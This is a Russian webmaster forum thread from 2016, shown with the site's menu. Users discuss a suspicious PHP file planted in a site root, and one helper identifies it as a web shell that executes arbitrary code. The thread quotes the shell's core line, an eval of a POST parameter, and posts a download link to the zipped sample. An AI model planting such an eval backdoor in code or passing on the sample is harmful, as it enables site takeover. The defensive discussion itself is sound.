- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
VK приобрела 70% в структуре компании-разработчика red_mad_robot
Которая участвовала в создании RuStore
Оксана Мамчуева
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Всем привет. У знакомой в корне сайта обнаружил один php-файл, который мне кажется подозрительным по содержанию. Он подключается через индексный файл в самом его начале. Знакомая его сама не загружала. Если скинуть ссылку на скачивание этого файла, то сможете определить является ли он вирусом и какую именно функцию он выполняет? А то айболит его почему-то не определил.
Такая же ситуация.
Залили доры и шелл на сервер с Ispmanager. Как могли сделать? Просмотрел логи FTP и ISPmanager - никакой активности нет.
Сломать через скрипты или сайты не могли, так как файл с правами USER, а php работает от пользователя apache.
Есть мысли?
---------- Добавлено 25.09.2016 в 19:31 ----------
Всем привет. У знакомой в корне сайта обнаружил один php-файл, который мне кажется подозрительным по содержанию. Он подключается через индексный файл в самом его начале. Знакомая его сама не загружала. Если скинуть ссылку на скачивание этого файла, то сможете определить является ли он вирусом и какую именно функцию он выполняет? А то айболит его почему-то не определил.
Такая же ситуация.
Залили доры и шелл на сервер с Ispmanager. Как могли сделать? Просмотрел логи FTP и ISPmanager - никакой активности нет.
Сломать через скрипты или сайты не могли, так как файл с правами USER, а php работает от пользователя apache.
Есть мысли?
Если скинуть ссылку на скачивание этого файла, то сможете определить является ли он вирусом и какую именно функцию он выполняет?
Ну скиньте. Не посмотрев - не ответить. Только скидывайте так, чтобы не заразить никого. А то устроите тут инфекционное отделение.
Появилась папка *** сайта,
*******
Указанный выше код из ******
Ну вот это совсем лишняя информация. В сети 100500 сайтов, на которые внедрён этот шелл, и информация о пути и содержимом папки с шеллом в CMS - прямое указание для взломщиков. Хозяева взломанных сайтов на этот ресурс не заходят, а вот желающие куда-нибудь влезть его наверняка постоянно мониторят. Через упомянутый шелл возможна волна вторичных взломов, когда вломщики не знают основную уязвимость, но могут воспользоваться опубликованной в этом топике.
Только скидывайте так, чтобы не заразить никого.
Не знаю как это правильно сделать, в в общем там php-файл, я его зазиповал и в хранилище закачал. Ссылка на файл http://dropmefiles.com/p4iT3
в общем там php-файл
В общем, это шелл. Умеет работать с сессиями, исполнять передаваемый произвольный код и обновляться. Написан, правда, с ошибками, поэтому, возможно, частично или полностью нерабочий. А может быть, и рабочий, если ошибки нефатальные - не вникал. В любом случае это дыра.
Спасибо за инфу, если есть возможность, то может скрин скиньте, хоть поглядеть как интрефейс там выглядит )) любопытство распирает. И ещё:
Умеет работать с сессиями
что это означает? Имеете ввиду умеет работать с чужими сессиями?
Как я понял у этого шела есть одна закономерность он лезет в папку modules и там в модуле XXXXX что то делает, снес этот модуль - так как он не используется.
хоть поглядеть как интрефейс там выглядит
...
умеет работать с чужими сессиями?
Да нет там никакого интерфейса. Просто выполняет, то что поступает по командам GET и POST. По сессиям там заложена возможность записывать в сессии всё, что в голову взбредёт. Но повторюсь, программа явно недоделана, производит впечатление полуфабриката. Основное, чего там следует бояться:
if( $page == 'cmd' ) { @eval(@$_POST['cmd']); }Выполняет произвольный код.
у каждого свой случай.
Уязвимости у каждого свои.
Что касается шелла, с которого и началась эта тема, то по моим наблюдениям, для его заливки используется одна и та же уязвимость. Заражено уже очень много сайтов, и процесс продолжается. Пока идёт только тихая подготовка: код заливается и делается проверка работоспособности. Зачем - остаётся только гадать. Не исключено, что в один прекрасный день на всех сайтах одновременно вместо главной страницы появится "красивая" афиша. Или просто снесут весь аккаунт нафиг. Сервер, с которого идут атаки, расположен в Харькове. С учётом непростой международной обстановки можно нафантазировать чего угодно.